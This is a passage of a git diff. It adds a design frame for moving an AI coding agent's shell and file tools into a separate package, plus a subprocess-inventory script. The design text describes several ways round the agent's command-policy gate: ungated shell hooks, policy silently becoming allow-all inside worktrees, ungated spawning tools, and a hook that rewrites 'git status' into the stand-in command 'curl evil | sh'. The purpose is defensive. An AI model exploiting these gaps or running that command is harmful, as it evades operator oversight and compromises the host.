colleague can follow promptly. + - honesty: A change to either copy of the six handlers during the migration window is detected mechanically — by a source-hash gate or a paired-PR check — rather than relying on a human remembering, and the characterization fixtures are regenerated from colleague at a pinned commit rather than hand-maintained. +- HOOKS NEED A DELIBERATE HOOK-SPECIFIC POLICY — this is a STANDALONE finding, explicitly NOT part of migration parity. Today hooks are trusted operator configuration that lacks runtime command gating: hooks.py:405-407 runs shell=True on every tool call, hooks are subject only to check_file and never to check_run_command, and hook_approval_verdict returns Verdict(True) when no token resolves to an existing repo file (hooks.py:310-316), so an INLINE hook command is ungated even with a hooks section present. hooks.json is untracked, so the isolation worktree voids the hooks approval section by the same mechanism as c49. The correct remedy is NOT to silently apply run_command's allow/deny rules to hooks — that would retroactively gate operator-authored configuration under rules written for model-authored commands, changing behaviour operators rely on. Introduce a hook-specific policy surface deliberately, as its own reviewed change with its own migration story. ONE THING TO PRESERVE REGARDLESS: loop.py:953-955 lets a hook rewrite ARGUMENTS ONLY — call.name passes unchanged to execute() at :966 — and the policy gate runs after the rewrite. + - instruction: Keep this out of the parity milestones. File it as a separate colleague/shell-cli design question once the operation pipeline exists, so hook policy is designed rather than inherited by accident. + - honesty: Hook gating ships as its own deliberate change with operator-visible migration notes, and no shell-cli milestone silently subjects existing hooks to run_command's allow/deny lists. The arguments-only rewrite contract and the rewrite-then-gate ordering hold in the extracted implementation. +- PUBLISHING PREVENTION, not just recovery. The publish job currently gates on pytest alone. Before Milestone 1 publishes anything colleague depends on, publishing must depend on the COMPLETE test/lint/honesty suite; the wheel must be built and installed into a clean environment; and a CLI/import smoke test must run against that INSTALLED wheel rather than the source tree. colleague's dependency must be bounded — 'shell-cli>=0.8,<0.9' style — until shell-cli reaches 1.0. Fix-forward and yanking remain the recovery path, but prevention belongs in the contract too. + - honesty: A release cannot reach PyPI without the full suite green, a clean-environment wheel install, and a smoke test executed against the installed wheel; and colleague's pin has an upper bound until shell-cli is 1.0. +- HOSTRUNNER TIMEOUT AND CANCELLATION SEMANTICS must be explicit, not incidental. Start commands in their own PROCESS GROUP. On timeout or cancellation: terminate the group, wait briefly, then kill. Record the termination signal and the escalation path in evidence, so a killed operation is distinguishable from one that exited on its own. Document the platforms where orphan prevention is incomplete rather than implying it is universal — this is the same guard-not-a-sandbox honesty discipline applied to process lifecycle. + - honesty: A command that ignores SIGTERM is escalated to kill and its evidence records both the signal and the escalation; a command spawning children has the whole group terminated; and platforms with incomplete orphan prevention are named in documentation. +- VERSIONED CONTRACTS: Operation, OperationResult, and persisted evidence each carry a schema_version. Because 'shell operation show' implies durable retrieval, the plan must decide WHERE evidence is stored, its RETENTION policy, and what happens WHEN RECORDING FAILS. Evidence failure must never turn an executed action into an unrecorded success — the result marks degraded evidence honestly (issue #1 section 8). Without a schema_version, a consumer reading an evidence record written by a different shell-cli version cannot tell whether absent fields mean 'not applicable' or 'not yet recorded'. + - honesty: A consumer can read schema_version off any Operation, OperationResult, or persisted evidence record; retention and storage location are documented; and a forced evidence-write failure yields a result explicitly marked as degraded rather than a silent success. +- The urgent colleague security fix must stay SMALL and must not become a behavioural redesign. The smallest safe fix resolves policy and hooks from the operator/source root, carries that source-root identity through nested worktrees and children, and PRESERVES today's per-model overlay semantics unchanged. The separate hardening — defining a child's policy as a restriction of its parent, child_effective = parent_cap INTERSECT source_root_child_model_policy, with deny winning and allowlists intersecting — is valuable but introduces new policy-composition semantics and must ship as its own separately reviewed change. Bundling them risks altering legitimate model-overlay behaviour during a security release. + - honesty: The security release changes policy RESOLUTION only: a test shows per-model overlay behaviour is byte-identical before and after, while repo-level policy now survives isolation. The parent-cap intersection ships separately with its own review and migration notes. + +## Honesty conditions + +- The zero-dep guard exists in the first implementation PR and genuinely fires: adding a third-party import to shell-cli's core fails the test, and the test asserts [project].dependencies literally as well as snapshotting sys.modules. +- Every shipped surface passes tests/test_honesty.py, and the container runner's documentation describes a declared isolation boundary with a documented profile rather than making an affirmative isolation claim. +- shell-cli's import graph contains no colleague module — asserted structurally, and colleague's contracts (ToolOutcome, Step) appear nowhere in shell-cli's source. +- docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner, and no single sentence in it covers both the host guard and container isolation. +- A test asserts read output is numbered before truncation (a truncated read's surviving line numbers match the real file), and a handler raising an unexpected exception yields a recoverable model-visible error rather than aborting the run. +- shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own — it accepts explicit policy data or pre-resolved candidate paths, verified by an import-leak check. +- colleague can drive every one of its six tools through shell-cli without importing anything colleague-specific from it, proving the audience is 'any harness' and not 'colleague with extra steps'. +- A boundary test proves the negative: colleague has no direct subprocess path outside the permitted module set, and shell-cli's import graph contains no colleague module. +- The safety description in shell-cli and the safety description in colleague say the same thing about the same code path after migration, with no surface claiming more than the runner delivers. +- Parity is proven by running both implementations against the same fixtures in the same test session, not by inspection or by trusting that the code was copied faithfully. +- Each leg of the process produces a durable committed artifact — scope entries, this frame, the challenge findings, the plan, the delivery summary — so the decision trail survives the session that produced it. +- Each number is mechanically checked in CI, not asserted in prose: the schema diff count, the dependency count, and the behavioural diff count are all test assertions that fail the build when non-zero. +- Re-running scripts/colleague_inventory.py against commit 28fee290c51fc4310b9fc576981809ad5c3132c6 reproduces 21 spawn sites across 15 modules with a 6/15 project/control split; a different commit may legitimately differ, and the tool reports the SHA mismatch rather than silently comparing across versions. +- No shell-cli MIGRATION OR CUTOVER change lands in colleague before the migration proposal is filed, and any colleague change reaches colleague only through a PR in colleague's own repository under colleague's gates. EXPLICIT EXEMPTION: the independently scoped policy-resolution security fix is not a migration change — it precedes both the proposal and characterization, and ships on its own security timeline. +- debt_remaining is computed from the committed ALLOWLIST by the scanner, so the countdown cannot be asserted in prose or drift from reality — it is derived from source every CI run. +- The colleague PR that adds the shell-cli dependency also updates test_base_dependency_is_exactly_agentfront and its docstring in the same commit, so colleague's suite is never red between the two changes. +- A process.shell operation that writes a file it never declared reports effects_complete = false; a test asserts the marker is false for shell operations and that no consumer renders an empty effect list as 'no changes'. +- The evidence contract states which secret classes are redacted and which are not, and a test demonstrates that a declared secret is redacted while acknowledging an undeclared secret echoed by a command is not. +- The policy surface documents exactly which operation kinds it gates, and 'shell policy explain' reports the ungated kinds as explicitly ungated rather than omitting them. +- A caller that invokes shell-cli's executor directly, bypassing any loop, still gets the policy verdict — verified by calling the dispatch entry point with no orchestration layer present and observing a denial. +- Every merged PR carries a version bump and passes all lint gates; no slice is batched with unrelated work solely to amortise release overhead. +- A test proves the direction: a pre_tool hook rewriting an ALLOWED command into a DENIED one is caught by the gate, because the gate inspects the rewritten arguments rather than the original call. +- The 21-spawn / 15-module inventory is reproducible by scripts/colleague_inventory.py at the pinned commit, and the figure in every guidance surface is derived from the scanner rather than transcribed. +- One operation engine genuinely backs both surfaces: a test drives the same Operation through the library API and through the CLI and asserts identical OperationResult status, policy verdict, and effects. If the CLI can reach an execution path the library cannot, the announcement is false. +- colleague's policy-resolution fix is released, and the characterization fixtures for Milestone 0 are captured from the FIXED colleague, so shell-cli never encodes the buggy behaviour as parity. +- No shell-cli module imports or invokes webglass, and no plan task in this repo depends on a webglass release. Artifact transfer between them uses neutral data shapes owned by neither. + +## Success signals + +- The six colleague tools migrate with observable parity proven by characterization tests run against both paths BEFORE the legacy implementation is removed; base shell-cli stays pure-stdlib under an enforced guard; host mode is documented as a guard and never as a sandbox; container mode's actual isolation profile is tested and recorded per operation; and the CLI and library demonstrably share one operation engine. + - instruction: Write the characterization harness before moving any code: capture colleague's observable behaviour as fixtures first, so the new implementation is measured against recorded truth rather than against itself. +- Measurable parity and hygiene targets: all 6 tool schemas byte-identical (0 diffs against the colleague 1.51.0 fixture); base runtime dependencies stay at exactly 0; 100% of colleague's 6 project-profile and 15 control-profile spawn sites are classified before Milestone 3 closes; and the characterization suite runs both implementations over the same fixtures with 0 behavioural diffs before the legacy path is deleted. + - instruction: Encode each target as a test the day the corresponding slice starts, so the number is enforced from the first commit rather than audited at the end. +- Milestone 3 closes when scripts/colleague_inventory.py reports debt_remaining = 0 against colleague's then-current commit, with --check still exiting 0 — i.e. every one of the 13 debt-tagged modules routes through shell-cli and no new unclassified spawn path has appeared. Progress is a countdown from 13 that CI publishes on every run, not a subjective judgement at the end. + - instruction: Publish debt_remaining in CI output from Milestone 0 onward so the countdown is visible for the whole migration, not reported once at the end. + +## Scope / boundaries + +- The base package keeps dependencies = [] (pyproject.toml:16) and issue #1 §9 requires a zero-dependency/import-leak guard in the FIRST implementation PR, not later. Git/Docker/Podman are PATH executables discovered by subprocess, never Python SDKs; optional integrations go behind extras. +- tests/test_honesty.py machine-enforces the guard-not-a-sandbox posture with two regexes: _CLAIM bans affirmative 'is/provides/offers ... sandbox', 'sandboxed', and 'fully isolated'; _NEGATOR only excuses them inside a negating sentence. The Milestone 4 container runner must therefore be worded as a 'declared isolation boundary with a documented profile' (issue #1 §7) — phrasing it as a sandbox fails CI. +- Dependency direction is one-way and permanent: Colleague imports shell-cli; shell-cli never imports Colleague (issue #1 §9, §14). shell-cli must not import Colleague contracts such as ToolOutcome — Colleague adapts neutral results on its side (§8). +- docs/threat-model.md already satisfies the 'documented threat model that does not claim to be a sandbox' bar for the host guard, but it is written entirely around the six primitives and a single host path. The two-axis environment model (workspace x runner) means it must gain a per-runner section that keeps the host-guard and container-isolation claims textually separate, per issue #1 §7. +- Two orderings inside the handlers are load-bearing and must survive extraction verbatim. (1) _read_file numbers lines THEN truncates (tools.py:826) — reversing renumbers, and this ordering is the recorded fix for colleague issue #240 where a served model cited a line ~240 off. (2) ToolExecutor.execute wraps every non-ToolError exception into a recoverable model-visible error (tools.py:788-800); without an equivalent wrapper a handler crash aborts the drive instead of becoming a retryable step, breaking §10's 'malformed arguments remain recoverable, never run aborts'. +- Policy extraction is nearly free: policy.py:79-351 (Verdict, Policy and all methods, file_checksum, verify_checksum, _first_token, _parse_policy_file, _str_list, _str_map) is roughly 270 lines of dependency-free stdlib requiring zero changes. Only load_policy:354-400 needs a seam for resolve_file and sanitize_model. Cleanest option: pass pre-resolved candidate paths so policy stops knowing about config-dir layout entirely — this satisfies issue #1 §7's 'shell core accepts explicit policy data/files and has no .colleague import' without injecting two callables. +- Ownership is by REPOSITORY, not by person. shell-cli and colleague are separate repositories with separate CI, separate versioning and separate PyPI releases, so a change to colleague lands as a PR in colleague's repository and is reviewed under colleague's own gates — regardless of whether the same operator or agent authors both. shell-cli's frame covers the shell-cli side only: it proposes colleague's migration via a filed issue and never pushes a commit into colleague's tree from this repo's work. Milestone 1 does not remove colleague's implementation; Milestone 2's cutover is gated on a green PR in colleague's repository. + - instruction: File the migration proposal on colleague via the communicate skill (auto-signs as shell-cli) once Milestone 1 publishes. If the same operator then implements it, do so as a normal PR in colleague's repository under colleague's review gates — never as a direct push or a cross-repo edit from this checkout. +- SEQUENCING BLOCKER: colleague's tests/test_zero_deps.py::test_base_dependency_is_exactly_agentfront hard-asserts len(dependencies) == 1 AND dependencies[0].startswith('agentfront'). colleague therefore CANNOT add shell-cli as a base dependency until that test is relaxed in the same PR — the migration is blocked by colleague's own fail-closed guard, which is correct behaviour but must be sequenced deliberately rather than discovered at cutover. Note also a posture tension worth surfacing explicitly: that test's docstring states 'any second base dependency is a zero-deps-posture breach', while shell-cli's guidance records that the operator decided shell-cli clears the same bar and becomes a sanctioned second base dep. Both statements cannot stand unedited; colleague's docstring needs updating as part of the same change. +- FALSE SAFETY CLAIM IN THE EVIDENCE SURFACE: for a raw host shell operation the changed-paths effect list is not merely sometimes incomplete, it is fundamentally unknowable — you cannot determine what an arbitrary shell command touched without scanning the filesystem. Issue #1 section 8 already requires a completeness marker, but the marker must therefore DEFAULT to incomplete for process.shell and never be omitted, or evidence reporting 'changed_paths: []' reads as 'nothing changed' when it means 'nothing observed'. colleague has already been bitten by exactly this: tests/test_write_apply_isolation.py:304-329 pins a fix (PR 207 Bug 2) where a self-commit whose edits came only through run_command reported no changed files despite a real commit. An evidence record that implies observability the runner does not have is a false safety claim in structured data rather than in prose, and the honesty regex cannot catch it. +- 'Secrets are never recorded' (issue #1 section 8) is achievable for DECLARED secrets in the environment/mount policy, but not for secrets that appear in captured stdout/stderr — a command such as 'env', 'cat .env', or a verbose curl emits them into output the evidence surface is required to capture. The claim must be scoped honestly to what redaction actually covers (declared secret values and known env keys), with output redaction described as best-effort pattern matching, or the evidence surface makes precisely the kind of overclaim this project exists to avoid. This is the same guard-not-a-sandbox failure mode relocated from prose into a data contract. +- SCOPE HONESTY ON THE POLICY GATE: run_command is one of six process-spawning tools and the only one policy gates (loop.py:901-902 returns early for every other tool). run_tests, culture, devague, memory, and subagent/subagents all spawn processes with model-controlled arguments behind their own per-tool allowlists — colleague/culture.py:10-11 states this outright: 'These tools are UNGATED: they execute like run_command does.' None uses shell=True, so this is an expectation gap rather than arbitrary execution, but an operator writing run_command allow git very reasonably believes they have constrained execution when five other subprocess paths remain open. shell-cli inherits this: normalizing everything into Operation makes the gap FIXABLE for the first time, but the policy's documented scope must state plainly which operation kinds it evaluates rather than letting 'operation policy' imply all of them. +- The engine boundary is clean today but structurally unenforced. Exactly two engines exist (mock, vllm-openai, registered via the colleague.engines entry-point group), both route through loop.run and therefore the single _run_tool_call, and tests assert engine modules never import colleague.policy. However the gate lives in the LOOP, not in the executor, so any third-party wheel registering under colleague.engines — which registry.load will load (registry.py:50-59) — can call ToolExecutor.execute directly and skip the gate entirely. shell-cli's lifecycle pipeline should place the policy evaluation INSIDE the operation dispatch rather than in a caller, so the gate cannot be routed around by a new caller. +- Process constraints bind every slice: the version-check CI job fails any PR whose pyproject.toml version matches main (including docs-only and CI-only PRs), and four lint gates plus 'teken cli doctor . --strict' run on every PR, while every merge to main publishes to PyPI. Each vertical slice is therefore a full PR carrying a version bump. This is a fact about release mechanics only — it must NOT be used to argue for larger PRs. Review size is determined by what can be reviewed coherently; versioning overhead is not a reason to batch unrelated work. +- The policy gate must receive the REWRITTEN arguments, not the original call. colleague/loop.py:962 re-wraps as ToolCall(call.id, call.name, arguments) precisely so a pre_tool hook rewrite is still gated; the in-code comment at :957-963 states this as the ordering contract. The bypass a naive extraction reintroduces runs in this direction: an ALLOWED original (say 'git status') is rewritten by a hook into a DENIED command (say 'curl evil | sh'), and a gate that inspects the ORIGINAL sees an allowed token, passes it, and the denied command executes. The reverse direction — denied original rewritten to an allowed shape — merely over-blocks and is not a security failure. This is the single most security-relevant line in the extraction. +- WEBGLASS IS A SEPARATE REPOSITORY AND A SEPARATE COLLEAGUE CAPABILITY SEAM. webglass-cli owns web search/navigation semantics; it is not a shell-cli milestone, not a shell-cli dependency, and no plan task in this repo implements or integrates it. The ONLY thing that crosses between WebGlass and shell-cli is PROVIDER-NEUTRAL ARTIFACT TRANSFER — a fetched artifact handed across as neutral data, with no shared contracts, no imports in either direction, and no coupling of one's release to the other's. colleague composes both independently as separate capability providers. + +## Non-goals + +- shell-cli contains no model, planner, memory, web browser, or domain workflow (issue #1 §1, §15). Web semantics belong to webglass-cli, memory to eidetic-cli, and devague/culture/coherence keep their own domain logic — all four sibling repos exist locally at /home/spark/git, so these are live boundaries, not hypothetical ones. +- No giant rewrite and no god object: issue #1 §12 requires independently reviewable vertical slices, §11 warns against a 'giant Shell god object' in favour of small composable handlers behind one lifecycle pipeline, and §15 forbids 'adding abstractions with no current Colleague or CLI consumer'. The 5-milestone plan is the delivery contract; Milestone 1 explicitly does NOT remove Colleague's implementation. + +## Assumptions + +- Milestone 0's inventory is pinned and reproducible, not hand-surveyed. Against colleague 1.51.0 at commit 28fee290c51fc4310b9fc576981809ad5c3132c6, scripts/colleague_inventory.py finds 21 process-spawn literals across 15 modules — 6 project, 15 control — with exactly two shell=True sites (hooks.py:405, tools.py:1022). NOTE: this CORRECTS the earlier hand survey, which reported 16 modules; the AST scanner shows the subprocess-importer set and the spawn-literal set are identical at 15. There are zero os.system, asyncio.create_subprocess_*, os.popen and os.exec* calls, and zero docker/podman invocations, so those lines of the brief's scan list are vacuously satisfied and should be closed explicitly. + - instruction: Commit the scanner and its pinned SHA in the Milestone 0 slice. When colleague's pinned floor moves, re-run and update PINNED_SHA deliberately — never let the inventory and the pin drift apart silently. +- Extraction is far cleaner than CLAUDE.md implies: five of the six handlers (_read_file:813, _write_file:860, _edit_file:878, _list_dir:947, _run_command:957) reference ZERO colleague modules and zero colleague config constants. view_media:827 is the sole coupled handler, and its only impurity is colleague.media. MAX_SUBAGENT_FANOUT and SubResult are untouched by the six. On the output cap: _DEFAULT_MAX_OUTPUT_CHARS is only a constructor default (tools.py:675), but it must NOT be silently inlined as a magic 25000. Make 25000 shell-cli's DOCUMENTED default while colleague explicitly passes its configured value, so parity is guaranteed by an explicit argument rather than by two constants coincidentally agreeing — and so colleague can change its own cap without a shell-cli release. + +## Scope exploration + +- `s1` — `pyproject.toml + issue #1 §9`: dependencies = [] today (line 16); zero-dep/import-leak guard is required from the first implementation PR, and Git/Docker/Podman stay PATH executables rather than Python SDKs + - seeds: `c2` +- `s2` — `tests/test_honesty.py`: _CLAIM/_NEGATOR regexes make the no-sandbox posture a CI gate across learn, explain root, explain safety, README, CLAUDE.md and docs/threat-model.md — the container milestone's wording is constrained by a test, not just convention + - seeds: `c3` +- `s3` — `issue #1 §8, §9, §14 (dependency direction)`: one-way import rule plus 'shell-cli must not import Colleague contracts' — result mapping into ToolOutcome/Step/media is Colleague-side adaptation work + - seeds: `c4` +- `s4` — `/home/spark/git sibling repos (webglass-cli, eidetic-cli, coherence-cli, colleague)`: all four named boundary-owners exist as real local checkouts, so the non-goals are live delegations; no local heimdall checkout exists, so the validator consumer named in §8 is prospective + - seeds: `c5` +- `s5` — `CLAUDE.md`: documents the superseded narrow six-tool framing including its own 'Definition of done, first milestone' and an extraction seam proposal; issue #1 replaces this with the operation-plane model and a 5-milestone delivery plan + - seeds: `c6` +- `s6` — `shell/explain/catalog.py + tests/test_cli.py + teken rubric gate`: ENTRIES currently holds 11 paths for the introspection-only surface; issue #1 §6's CLI groups roughly triple that, and the catalog-resolves test plus the rubric's overview-per-noun rule make each new noun carry doc authoring + - seeds: `c7` +- `s7` — `docs/threat-model.md`: strong on the host guard (known bypasses, what real isolation would require) but predates the workspace-x-runner matrix; needs per-runner claims kept textually separate so one sentence never covers both + - seeds: `c8` +- `s8` — `.github/workflows/tests.yml + publish.yml`: version-check fails any PR matching main's version; lint job runs black/isort/flake8/bandit/markdownlint/teken strict; every push to main publishes to PyPI — so slice granularity has real per-PR overhead + - seeds: `c9` +- `s9` — `colleague/tools.py:669-722 (ToolExecutor constructor) + handlers :813-1050`: five of six handlers are import-clean; only view_media touches colleague.media; the six touch just 5 pieces of instance state, so composition beats subclassing + - seeds: `c14`, `c18` +- `s10` — `colleague/media.py (111 lines, stdlib-clean)`: copyable but not movable — flatten_parts/IMAGE_TOKEN_ESTIMATE serve 5 colleague-only call sites; view_media needs only a ~50-line slice + - seeds: `c15` +- `s11` — `colleague/tools.py:111-235 (SCHEMAS) + _PATH_DESC:61`: SCHEMAS[:6] is contiguous and sliceable, but _PATH_DESC interpolation, list_dir's missing 'required' key, and read_file's literal backslash escapes are byte-equivalence traps + - seeds: `c16` +- `s12` — `colleague/tools.py:826 (number-then-truncate) + :788-800 (execute catch-all)`: both are recorded bug fixes with behavioural consequences — :826 fixes colleague #240 line-drift, :788 keeps malformed tool calls recoverable rather than run-aborting + - seeds: `c17` +- `s13` — `colleague/tools.py:1047-1048 (run_command output rendering)`: stdout and stderr are concatenated unlabelled into one result string (body = stdout + stderr), which collides with issue #1 §8's demand for separately captured stdout/stderr — parked as question q1 +- `s14` — `issue #1 §17 (first implementation decision)`: large-scale work is gated behind a six-part Milestone 0/1 plan posted as an issue reply, with an explicit devague challenge pass over it + - seeds: `c19` +- `s15` — `issue #1 §11, §12, §15 (package shape, delivery, non-goals)`: vertical slices over a rewrite; no god object; no speculative abstraction; Milestone 1 keeps Colleague's implementation in place + - seeds: `c20` +- `s16` — `colleague/policy.py:79-400 + configdir.py:108-132 + layers.py:107-125`: ~270 lines are dependency-free stdlib needing zero changes; only load_policy couples, to resolve_file (~60 lines of real logic) and sanitize_model (2 lines of body) + - seeds: `c26` +- `s17` — `colleague/loop.py:894-1033 (_run_tool_call) + tools.py:570-591,757-761`: policy is gated on rewritten arguments at loop.py:962; the role gate is NOT in this sequence but split across schema curation upstream and executor dispatch downstream + - seeds: `c21` +- `s18` — `colleague subprocess inventory: 21 spawn literals / 16 modules / tests/test_boundary.py`: 6 project, 15 control, 0 observe-owned, ~40 exempt bookkeeping fs sites; no os.system, no asyncio subprocess, no docker/podman; an enforced boundary test already pins the importing-module set + - seeds: `c22`, `c23` +- `s19` — `colleague/lint.py:100-124 vs tools.py:1213-1219`: lint --fix mutates tracked source while run_tests is deliberately byte-neutral — a mutation path classified as a gate + - seeds: `c25` +- `s20` — `colleague/tools.py:1022 vs hooks.py:405 (the two shell=True sites)`: model-authored string vs repo-authored hook that wraps every tool call, including control-plane ones — same justifying comment, different trust stories + - seeds: `c24` +- `s21` — `challenge pass / adjacent-systems lens: colleague/tools.py:834-858 + media.py:11-35`: view_media's 4 MiB cap and images-only rule live in the handler, not the media module; media.py's own cap is 16 MiB, so vendoring the module slice alone loosens the effective limit 4x + - seeds: `c44` +- `s22` — `challenge pass / concurrency lens: colleague/worktrees.py:138-170`: worktree admin is serialized by a non-reentrant, fail-open advisory flock; moving worktree mechanics to shell-cli must carry the lock AND its non-reentrancy or colleague's teardown path deadlocks + - seeds: `c47` +- `s23` — `challenge pass / version-skew lens: shell-cli publish.yml + colleague test_zero_deps.py + pyproject pins`: auto-publish on merge to main, a bare >= floor on a 0.x package, and colleague's len(dependencies)==1 assertion combine into an unsequenced cross-repo hazard + - seeds: `c41`, `c42`, `c43` +- `s24` — `challenge pass / lifecycle lens: issue #1 sections 12 milestones 1-2 + colleague release cadence`: both implementations are live across a multi-milestone window while colleague ships continuously; no freeze or mirror policy is stated, so silent divergence is unhandled + - seeds: `c48` +- `s25` — `challenge pass / false-safety lens: issue #1 section 8 evidence contract`: two overclaims found in the data contract rather than the prose — unknowable changed-paths for raw shell, and unachievable secret redaction for command output; the honesty regex cannot reach either + - seeds: `c45`, `c46` +- `s26` — `challenge pass / environment-bypass lens: work.py:309,1934 + worktrees.py:413 + loop.py:4096 + configdir.py:124-132`: VERIFIED by scratch probe — repo-level policy resolves in the operator repo and is empty in a worktree of it; colleague work always isolates, so the default path runs allow-all silently + - seeds: `c49`, `c50` +- `s27` — `challenge pass / delegation lens: subagents.py:221-244,354-357,398,532-536`: children re-resolve policy by path rather than inheriting it; nested worktrees deepen the gap and model-selected overlays can widen the child's allowance; no test covers this + - seeds: `c52` +- `s28` — `challenge pass / resume+killswitch lenses: continuation.py:25-80 + ~80 COLLEAGUE_* env vars`: CLEAN on both — continuation replays prose only and never re-executes recorded steps, and no policy disable/bypass/debug flag exists; COLLEAGUE_HOME can relocate the user-level config root but cannot override repo-level policy +- `s29` — `challenge pass / external review: docs/external-review/18-07-2026.sol.challenge.md`: independent reviewer verified the c49 static chain at the pinned commit and supplied 8 corrections plus a c1 refinement and a private-disclosure recommendation; all applied — c21's bypass direction was backwards, c48's same-PR mirroring is impossible cross-repo, c54 was conflating a standalone hook-policy gap with migration parity + - seeds: `c62`, `c56`, `c59`, `c60` +- `s30` — `colleague subprocess inventory (CORRECTED)`: supersedes s18: the verified count is 21 spawn literals across 15 MODULES, not 16 — scripts/colleague_inventory.py at colleague 28fee290c51f proves the subprocess-importer set and spawn-literal set are identical at 15. Split is 6 project / 15 control / 0 observe-owned, with 13 of the 15 modules debt-tagged for migration + - seeds: `c58`, `c23` + +## Decisions + +- The development process for this work is itself in scope and follows the devague method end to end: /scope (done — 20 entries with file:line provenance) then /think (this frame) then /challenge (a blind-spot pass, which issue #1 section 17 explicitly requires over the Milestone 0/1 plan) then /spec-to-plan then /assign-to-workforce for wave fan-out then /summarize-delivery to close the loop. Implementation is gated behind posting the six-part Milestone 0/1 plan as a reply on issue #1. + - instruction: Run /challenge against the exported spec BEFORE /spec-to-plan, and post the Milestone 0/1 plan to issue #1 before any implementation PR opens. +- SEQUENCING: pause shell-cli implementation briefly and fix colleague's policy resolution FIRST. c49 is a live fail-open in 1.51.0, independently verified by an external reviewer against the pinned commit, and it does not wait on any milestone. Fixing it first also de-risks the migration, because the fix (snapshot policy from the operator/source root, inject into isolated loops and subagents) is the same architecture shell-cli must implement anyway — so colleague's patch becomes the reference behaviour the characterization fixtures capture, rather than something shell-cli has to retrofit parity against afterwards. +- STDOUT/STDERR RESOLVED (closes q1): OperationResult ALWAYS captures stdout and stderr separately. The colleague compatibility adapter renders the legacy concatenated 'stdout + stderr' string for the duration of the parity milestone, so model-visible behaviour is unchanged. Exposing them distinctly to the model is a future, separately reviewed colleague schema/output change — not part of parity. This gives shell-cli the correct contract without breaking model behaviour. + +## Hard questions + +- risk: The honesty guard is regex-based over six surfaces. It catches affirmative sandbox/isolation phrasing but cannot catch a claim made structurally — e.g. an API named 'sandbox_exec', a profile called 'isolated', or evidence metadata implying containment the runner does not provide. Wording passing CI is necessary, not sufficient. +- risk: If the extraction passes the original ToolCall rather than the rewritten arguments, a pre_tool hook can launder a denied command into an allowed shape and the policy gate silently stops gating. This is a security regression that no existing colleague test would catch, because colleague never exercises rewrite-then-deny together. diff --git a/pyproject.toml b/pyproject.toml index 7a1a846..c0048a0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "shell-cli" -version = "0.8.0" +version = "0.8.2" description = "Agent-first CLI and agent owning the file-and-shell tool surface for AI coding agents: read, write, edit, list, view media, and gated shell execution, with path confinement and an operator approval policy. Pure-stdlib core, extracted from colleague so any host imports one safe execution layer." readme = "README.md" license = "Apache-2.0" diff --git a/scripts/colleague_inventory.py b/scripts/colleague_inventory.py new file mode 100644 index 0000000..02a9c22 --- /dev/null +++ b/scripts/colleague_inventory.py @@ -0,0 +1,257 @@ +#!/usr/bin/env python3 +"""Reproducible process-spawn inventory for a colleague checkout. + +Milestone 0 of the shell-cli build brief +(https://github.com/agentculture/shell-cli/issues/1) requires an inventory of +every process/workspace mutation path in colleague, classified as ``project``, +``control``, ``observe``, or runtime-private bookkeeping. + +A hand-written inventory rots the moment colleague moves. This script makes the +inventory *reproducible* and pins it to an exact commit, so drift is detected +mechanically instead of re-surveyed by hand. + +Pure stdlib, read-only, AST-based (a regex over source text miscounts spawns +inside strings and comments). + +Usage:: + + python3 scripts/colleague_inventory.py /home/spark/git/colleague + python3 scripts/colleague_inventory.py /path/to/colleague --json + python3 scripts/colleague_inventory.py /path/to/colleague --check + +``--check`` exits 1 when an unclassified spawn path exists, which is what CI +runs as a known-debt gate. Exit 2 is reserved for an environment error (a +missing or unreadable checkout) so CI can distinguish "a new unclassified path +landed" from "the clone is broken" — a gate that silently no-ops is worse than +no gate. +""" + +from __future__ import annotations + +import argparse +import ast +import json +import subprocess # nosec B404 - reads git metadata from a local checkout +import sys +from dataclasses import dataclass, field +from pathlib import Path + +# The commit this inventory was recorded against. Reproducing the numbers on a +# different commit is expected to differ — that is the point of pinning. +PINNED_SHA = "28fee290c51fc4310b9fc576981809ad5c3132c6" +PINNED_VERSION = "1.51.0" + +# Callables that create a process. Matched on the dotted attribute path, so +# ``subprocess.run`` matches and a local variable named ``run`` does not. +_SPAWN_CALLS = { + "subprocess.run", + "subprocess.Popen", + "subprocess.call", + "subprocess.check_call", + "subprocess.check_output", + "os.system", + "os.popen", + "os.execv", + "os.execvp", + "os.spawnv", + "asyncio.create_subprocess_exec", + "asyncio.create_subprocess_shell", +} + +# Modules permitted to spawn a process, with the profile each one operates +# under. This is the KNOWN-DEBT ALLOWLIST: it records what exists today so a +# NEW unclassified path fails immediately, while the already-known paths are +# tracked as debt that must reach zero by Milestone 3. +# +# `debt=True` -> a path shell-cli must take over; must be empty by M3. +# `debt=False` -> stays in colleague permanently (domain orchestration). +ALLOWLIST: dict[str, tuple[str, bool]] = { + # profile debt + "tools.py": ("project", True), + "affectedtests.py": ("project", True), + "lint.py": ("project", True), + "hooks.py": ("project", True), + "livecheck.py": ("project", True), + "worktrees.py": ("control", True), + "handoff.py": ("control", True), + "neighbours.py": ("control", True), + "culture.py": ("control", True), + "devague.py": ("control", True), + "memory.py": ("control", True), + "coherence.py": ("control", True), + "resident/steward.py": ("control", True), + "background.py": ("control", False), + "experiment.py": ("control", False), +} + + +class InventoryError(Exception): + """An environment problem: the checkout is missing or unreadable. + + Raised, never printed as a traceback. ``main`` renders it as + ``error:``/``hint:`` on stderr and returns exit code 2. + """ + + def __init__(self, message: str, hint: str) -> None: + super().__init__(message) + self.hint = hint + + +@dataclass +class Finding: + module: str + line: int + call: str + uses_shell: bool = False + + +@dataclass +class Inventory: + findings: list[Finding] = field(default_factory=list) + modules: set[str] = field(default_factory=set) + unclassified: list[Finding] = field(default_factory=list) + + @property + def debt_modules(self) -> set[str]: + return {m for m in self.modules if ALLOWLIST.get(m, ("", False))[1]} + + +def _dotted(node: ast.AST) -> str: + """Render an attribute/name chain as a dotted string, else ''.""" + parts: list[str] = [] + while isinstance(node, ast.Attribute): + parts.append(node.attr) + node = node.value + if isinstance(node, ast.Name): + parts.append(node.id) + return ".".join(reversed(parts)) + return "" + + +def scan_file(path: Path, rel: str) -> list[Finding]: + try: + tree = ast.parse(path.read_text(encoding="utf-8"), filename=str(path)) + except (SyntaxError, UnicodeDecodeError): + return [] + + found: list[Finding] = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + name = _dotted(node.func) + if name not in _SPAWN_CALLS: + continue + uses_shell = any( + kw.arg == "shell" and isinstance(kw.value, ast.Constant) and kw.value.value is True + for kw in node.keywords + ) + 